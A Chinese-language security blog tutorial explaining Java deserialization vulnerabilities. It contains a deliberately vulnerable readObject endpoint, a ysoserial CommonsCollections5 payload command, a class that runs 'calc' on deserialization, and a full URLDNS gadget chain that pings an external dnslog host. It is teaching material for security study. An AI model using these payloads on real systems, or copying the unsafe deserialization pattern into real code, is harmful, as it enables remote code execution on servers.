Java反序列化漏洞

11次阅读
没有评论

共计 7226 个字符,预计需要花费 19 分钟才能阅读完成。

Java 反序列化漏洞

基础:

Java 入门
面向对象编程的核心思想
建议没有 Java 基础先学习上面这两篇文章

其实 Java 反序列化和 PHP 反序列化很多地方都一样,我们可以用类比的方法来学习 Java 反序列化

特性 PHP 反序列化 Java 反序列化
序列化函数 serialize() (生成字符串) ObjectOutputStream.writeObject() (生成字节流)
反序列化函数 unserialize() ObjectInputStream.readObject()
触发点 (Magic Method) __wakeup(), __destruct(), __toString() readObject(), readExternal(), readResolve()
利用链名称 POP Chain (Property-Oriented Programming) Gadget Chain
执行载体 依靠类中的魔术方法串联逻辑 依靠接口实现类(如 Transformer)和反射串联
最终危害 远程代码执行 (RCE) / 文件读写 远程代码执行 (RCE)

PHP

  • 入口: 当你 unserialize() 一个对象时,PHP 会自动寻找并执行该类里的 __wakeup() 方法(如果存在)。

  • 过程: 攻击者构造一个 A 对象,A 的 __destruct()(销毁时触发)里调用了 B 对象的某个方法,而 B 对象的那个方法又恰好包含敏感操作。

  • 关键: PHP 极其依赖这些“魔术方法”作为链条的连接点。

Java 的逻辑:隐式调用

  • 入口: Java 在 readObject() 恢复对象状态时,会根据类定义的逻辑执行代码。

  • 过程: Java 不仅仅靠魔术方法,它更多利用 接口回调 反射。比如一个 Map 在恢复时,为了保证数据的唯一性,会调用 key 对象的 hashCode()equals()

  • 关键: Java 的链条通常更长、更隐蔽,利用的是类库(如 Commons Collections)之间复杂的调用关系。

    演示:

    先来看看 Java 反序列化代码(From Hello-Java-Sec)

    
    // readObject,读取输入流, 并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。// 生成 payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64

public String cc(String base64) {
try {
base64 = base64.replace(" ", "+");
byte[] bytes = Base64.getDecoder().decode(base64);

    ByteArrayInputStream stream = new ByteArrayInputStream(bytes);

    // 反序列化流,将序列化的原始数据恢复为对象
    ObjectInputStream in = new ObjectInputStream(stream);
    in.readObject();
    in.close();
    return "反序列化漏洞";
} catch (Exception e) {return e.toString();
}

}


我们可以在 yakit 的 Yso-Java Hack 里面生成 payload,这里我用的是 CC5 链
![image.png](https://image.rycarl.cn:9000/pic/20260320130339.png)

![image.png](https://image.rycarl.cn:9000/pic/20260320130353.png)
最主要的问题就是 `in.readObject();`, 这里的被实例化的对象是我们自己可控的。# 原理:我们先从最基本反序列化开始
```java
//Person.java
package org.example;  

import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.Serializable;  

public class Person implements Serializable {  
    private int age;  
    public String name;  
    public static int id;  

    public Person() {}  

    public Person(int age, String name) {  
        this.age = age;  
        this.name = name;  
    }  

    @Override  
    public String toString() {  
        return "Person{" +  
                "name='" + name + '''+", age="+ age +'}';  
    }  
}
//SerializationTest.java
package org.example;  

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.HashMap;  

public class SerializationTest {public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serial.bin"));  
        oos.writeObject(obj);  
    }  

    public static void main(String[] args) throws Exception {Person person = new Person(114514, "rycarl");  
        serialize(person);  
    }  
}
//UnserializeTest.java
package org.example;  

import java.io.*;  

public class UnserializeTest {public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = ois.readObject();  
        return obj;  
    }  

    public static void main(String[] args) throws IOException, ClassNotFoundException {Person person = (Person) unserialize("serial.bin");  
        System.out.println(person);  
    }  
}

UnserializeTest.java会从 serial.bin 里面读取二进制数据,然后将数据还原成对象
Java 反序列化漏洞
其中 Object obj = ois.readObject(); 是其中的关键
服务端需要反序列化我们传送的数据,那么就需要调用 readObject。
而用户可以在自己 传递的类中重写 readObject,也就给予 攻击者在服务器上运行代码 的能力。

比如我们改一下 person.java 的 readobject

package org.example;  

import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.Serializable;  

public class Person implements Serializable {  
    private int age;  
    public String name;  
    public static int id;  

    public Person() {}  

    public Person(int age, String name) {  
        this.age = age;  
        this.name = name;  
    }  

    @Override  
    public String toString() {  
        return "Person{" +  
                "name='" + name + '''+", age="+ age +'}';  
    }  

    @Deprecated  
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ois.defaultReadObject();  
        // 在反序列化时执行任意代码  
        Runtime.getRuntime().exec("calc");  
    }  
}

就可以执行 calc

真实场景中,往往是在各种开源组件(比如 Commons Collections)中寻找一条“调用链”(被称为 Gadget Chain)。就像多米诺骨牌一样:readObject() 触发了方法 A,方法 A 调用了方法 B,方法 B 又调用了方法 C……最终方法 C 恰好执行了危险命令。只要把这些对象巧妙地组合在一起进行序列化,就能完成攻击。

那么,我们就知道了反序列化需要的条件
1 想要序列化肯定要 implements Serializable

2 入口类 source (重写 readObject 调用常见的函数 参数类型宽)

3 调用链 gadget chain 相同名称 相同类型

4 执行类 sink (rce ssrf 写文件等等)最重要

那么什么类才能满足这么多的要求呢?
大名鼎鼎的 hashmap 刚好就满足这上面所有的要求,而且我们我们后面学的很多链子都是以他为起点

那么我们来看一下最简单的 URLDNS 链执行流程

import java.io.*;  
import java.lang.reflect.Field;  
import java.net.URL;  
import java.util.HashMap;  

public class test {public static void main(String[] args) throws Exception {HashMap<URL, String> map = new HashMap<>();  
        URL url = new URL("http://asd.5cb4cde9.log.dnslog.pp.ua.");  

        Field hashCodeField = URL.class.getDeclaredField("hashCode");  
        hashCodeField.setAccessible(true);  
        hashCodeField.set(url, 123);  

        map.put(url, "test");  

        hashCodeField.set(url, -1);  

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));  
        oos.writeObject(map);  
        oos.close();  
        System.out.println("--- 服务器启动,等待反序列化数据 ---");  

        FileInputStream fis = new FileInputStream("urldns.ser");  
        ObjectInputStream ois = new ObjectInputStream(fis);  

        System.out.println("--- 正在执行 readObject() ---");  
        ois.readObject();  

        ois.close();  
        System.out.println("--- 反序列化结束 ---");  
    }  
}

我们先新建一个 hashmap 和 URL 对象, 把 URL 塞进 hashmap 里面

HashMap<URL, String> map = new HashMap<>();  
URL url = new URL("http://asd.5cb4cde9.log.dnslog.pp.ua.");  
Field hashCodeField = URL.class.getDeclaredField("hashCode"); 
map.put(url, "test");  

代码里面有一段有关设置 hashcode 的地方

        hashCodeField.setAccessible(true);  
        hashCodeField.set(url, 123); 
        hashCodeField.set(url, -1); 

这个我们先占时不管他,因为这里是为了在序列化的时候不触发 DNS 解析
然后文件生成后会进行反序列化,我们来看看函数内部的实现
hashmap 实现了自己的 readobject 类

private void readObject(ObjectInputStream s)  
    throws IOException, ClassNotFoundException {ObjectInputStream.GetField fields = s.readFields();  

    // Read loadFactor (ignore threshold)  
    float lf = fields.get("loadFactor", 0.75f);  
    if (lf <= 0 || Float.isNaN(lf))  
        throw new InvalidObjectException("Illegal load factor:" + lf);  

    lf = Math.min(Math.max(0.25f, lf), 4.0f);  
    HashMap.UnsafeHolder.putLoadFactor(this, lf);  

    reinitialize();  

    s.readInt();                // Read and ignore number of buckets  
    int mappings = s.readInt(); // Read number of mappings (size)  
    if (mappings < 0) {throw new InvalidObjectException("Illegal mappings count:" + mappings);  
    } else if (mappings == 0) {// use defaults} else if (mappings > 0) {float fc = (float)mappings / lf + 1.0f;  
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                   DEFAULT_INITIAL_CAPACITY :  
                   (fc >= MAXIMUM_CAPACITY) ?  
                   MAXIMUM_CAPACITY :  
                   tableSizeFor((int)fc));  
        float ft = (float)cap * lf;  
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                     (int)ft : Integer.MAX_VALUE);  

        // Check Map.Entry[].class since it's the nearest public type to  
        // what we're actually creating.        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);  
        @SuppressWarnings({"rawtypes","unchecked"})  
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
        table = tab;  

        // Read the keys and values, and put the mappings in the HashMap  
        for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")  
                K key = (K) s.readObject();  
            @SuppressWarnings("unchecked")  
                V value = (V) s.readObject();  
            putVal(hash(key), key, value, false, false);  
        }  
    }  
}

最后我们会进行到putVal(hash(key), key, value, false, false);
进入 hash 函数

static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

会发现调用了 hashcode 方法,那么我们来看看 URL 类的 hashcode 方法

protected int hashCode(URL u) {  
    int h = 0;  

    // Generate the protocol part.  
    String protocol = u.getProtocol();  
    if (protocol != null)  
        h += protocol.hashCode();  

    // Generate the host part.  
    InetAddress addr = getHostAddress(u);  
    if (addr != null) {h += addr.hashCode();  
    } else {String host = u.getHost();  
        if (host != null)  
            h += host.toLowerCase().hashCode();  
    }

看到 getHostAddress 应该就知道了吧,会进行 DNS 请求获取 IP
而之前我们提到的为什么要设置 hashCode 是因为在 URL 类里面有这样一段代码

public synchronized int hashCode() {if (hashCode != -1)  
        return hashCode;  

    hashCode = handler.hashCode(this);  
    return hashCode;  
}

我们先要设置一个 hashCode 为不是 - 1 的值,我们在 map.put(url, "test"); 函数中也会触发一次 hashCode,为了使其不解析我们设置为非 -1,重新设为 - 1 是因为如果不设置那么在我们的机器上这个值为非 - 1 后面的反序列化不会触发 DNS 解析了。

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2026-04-15发表,共计7226字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)
验证码